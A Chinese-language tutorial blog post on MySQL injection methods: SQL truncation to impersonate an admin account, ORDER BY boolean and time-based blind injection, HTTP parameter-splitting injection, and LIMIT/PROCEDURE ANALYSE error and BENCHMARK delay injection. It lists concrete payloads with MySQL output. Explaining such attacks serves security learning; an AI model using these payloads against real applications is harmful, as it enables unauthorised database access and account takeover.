mysql注入之長(zhǎng)字符截?cái)?orderby注入,HTTP分割注入,limit注入方式
長(zhǎng)字符截?cái)?SQL約束攻擊
產(chǎn)生原因:在mysql中的一個(gè)設(shè)置里有一個(gè)sql_mode選項(xiàng),當(dāng)sql_mode設(shè)置為default時(shí),即沒(méi)有開(kāi)啟STRICT_ALL_TABLES選項(xiàng)時(shí)(MySQL默認(rèn) sql_mode為default),MySQL對(duì)插入超長(zhǎng)的值只會(huì)提示warning,而不是error,這樣就會(huì)導(dǎo)致一些截?cái)鄦?wèn)題。
例如:
一個(gè)表的username字段類(lèi)型為varchar(7) 長(zhǎng)度最多7個(gè)字符。
那么我們插入的時(shí)候?qū)⒆址岣叩?字符以上,它只取前7位,并且會(huì)彈出warning。
利用漏洞:
假設(shè)管理員的登錄名為admin,那么我們可以注冊(cè)一個(gè)“admin ”后面有八個(gè)空格用戶(hù)即可輕易進(jìn)入后臺(tái)管理界面。
order by rand(True) /order by rand(False)盲注
產(chǎn)生原因:原語(yǔ)句類(lèi)似為$id=$_GET['sort']; select * from users order by $id ;
利用漏洞:
- 報(bào)錯(cuò)注入?sort=1 and updatexml(1,if(1=1,concat(0x7e,version()),2),1)
- 盲注 order by rand(True)和order by rand(False)的結(jié)果排序是不同的,可以根據(jù)這個(gè)不同來(lái)進(jìn)行盲注。
例如:
- 布爾盲注:?sort= rand(database()='ujcms')
- 返回了True的排序,說(shuō)明database()='ujcms'是正確的值

- 時(shí)間盲注 ?sort=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))
- 執(zhí)行結(jié)果睡眠2秒

HTTP分割注入
場(chǎng)景:
參數(shù)為username&password,查詢(xún)語(yǔ)句為
select xxx from xxx where username='xxx' and password ='xxx';
但是username參數(shù)過(guò)濾了注釋符,無(wú)法將后面的注釋掉,則可嘗試用內(nèi)聯(lián)注釋把password注釋掉,湊成一條新語(yǔ)句后注釋或閉合掉后面的語(yǔ)句:
當(dāng)然這種注入的前提是單引號(hào)沒(méi)有被過(guò)濾
payload:username=1' or extractvalue /*'&password=1*/ (1,concat(0x7e,(select database()),0x7e))) or'
則查詢(xún)語(yǔ)句為
select * from users where username='1' or extractvalue /*' and password='1*/ (1,concat(0x7e,(select database()),0x7e)) or'';

過(guò)濾了空格,union,#,—+,/*,^,or,|
可以考慮將password作為函數(shù)的參數(shù)來(lái)閉合語(yǔ)句:
payload:username=admin' and(strcmp(&password=,'asdasdasdasdasdasd')) and '1
則查詢(xún)語(yǔ)句為
select * from users where username='admin' and(strcmp(' and password=','asdasdasdasdasdasd')) and '1';strcmp比較,二者不一致返回True,一致返回False,而MySQL會(huì)將’1’判斷為數(shù)字1,即True,因此該查詢(xún)語(yǔ)句結(jié)果為T(mén)rue
limit注入
一般實(shí)際過(guò)程中使用 limit 時(shí),大概有兩種情況,一種使用order by,一種就是不使用 order by關(guān)鍵字
不存在 order by 關(guān)鍵字
- 執(zhí)行語(yǔ)句 select id from users limit 0,1;
- 這種情況下的 limit 后面可以使用union進(jìn)行聯(lián)合查詢(xún)注入
- 執(zhí)行語(yǔ)句 select id from users limit 0,1 union select username from users;

存在 order by 關(guān)鍵字
此方法適用于5.0.0< MySQL <5.6.6版本,在limit語(yǔ)句后面的注入
limit 關(guān)鍵字后面還可跟PROCEDURE和 INTO兩個(gè)關(guān)鍵字,但是 INTO 后面寫(xiě)入文件需要知道絕對(duì)路徑以及寫(xiě)入shell的權(quán)限,因此利用比較難,因此這里以PROCEDURE為例進(jìn)行注入
使用 PROCEDURE函數(shù)進(jìn)行注入,ANALYSE支持兩個(gè)參數(shù),首先嘗試一下默認(rèn)兩個(gè)參數(shù)
mysql> select id from users order by id desc limit 0,1 procedure analyse(1,1); ERROR 1386 (HY000): Can't use ORDER clause with this procedure
![]()
報(bào)錯(cuò),嘗試一下對(duì)其中一個(gè)參數(shù)進(jìn)行注入,這里首先嘗試報(bào)錯(cuò)注入
mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'

不存在回顯怎么辦,延遲注入呀,如果 select version(); 第一個(gè)為5,則多次執(zhí)行sha(1)達(dá)到延遲效果,這里不支持使用 sleep,所以需要使用BENCHMARK進(jìn)行替代
mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1)))),1);
ERROR 1105 (HY000): XPATH syntax error: ':0'

總結(jié)
以上為個(gè)人經(jīng)驗(yàn),希望能給大家一個(gè)參考,也希望大家多多支持腳本之家。
相關(guān)文章
MySQL 與 Elasticsearch 數(shù)據(jù)不對(duì)稱(chēng)問(wèn)題解決辦法
這篇文章主要介紹了MySQL 與 Elasticsearch 數(shù)據(jù)不對(duì)稱(chēng)問(wèn)題解決辦法的相關(guān)資料,對(duì)于 elasticsearch 增量寫(xiě)入,但經(jīng)常jdbc源一端的數(shù)據(jù)庫(kù)可能會(huì)做數(shù)據(jù)庫(kù)刪除或者更新操作,這里提供解決辦法,需要的朋友可以參考下2017-08-08
Mysql 日期時(shí)間 DATE_FORMAT(date,format)
Mysql 日期時(shí)間 DATE_FORMAT(date,format) ,需要的朋友可以參考下。2010-12-12
mysql執(zhí)行語(yǔ)句后只有錯(cuò)誤代碼,沒(méi)有錯(cuò)誤信息的問(wèn)題
這篇文章主要介紹了mysql執(zhí)行語(yǔ)句后只有錯(cuò)誤代碼,沒(méi)有錯(cuò)誤信息的問(wèn)題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2024-09-09
mySQL占用虛擬內(nèi)存達(dá)8百多兆問(wèn)題解決思路
為了裝mysql環(huán)境測(cè)試,裝上后發(fā)現(xiàn)啟動(dòng)后mysql占用了很大的虛擬內(nèi)存,達(dá)8百多兆,需要的朋友可以參考下2012-12-12
MySQL最新驅(qū)動(dòng)com.mysql.cj.jdbc.Driver及配置過(guò)程
這篇文章主要介紹了MySQL最新驅(qū)動(dòng)com.mysql.cj.jdbc.Driver及配置過(guò)程,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2023-08-08
IDEA使用mybatis-generator及配上mysql8.0.3版本遇到的bug
這篇文章主要介紹了IDEA使用mybatis-generator以及配上mysql8.0.3版本遇到的問(wèn)題,本文通過(guò)實(shí)例代碼給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-11-11

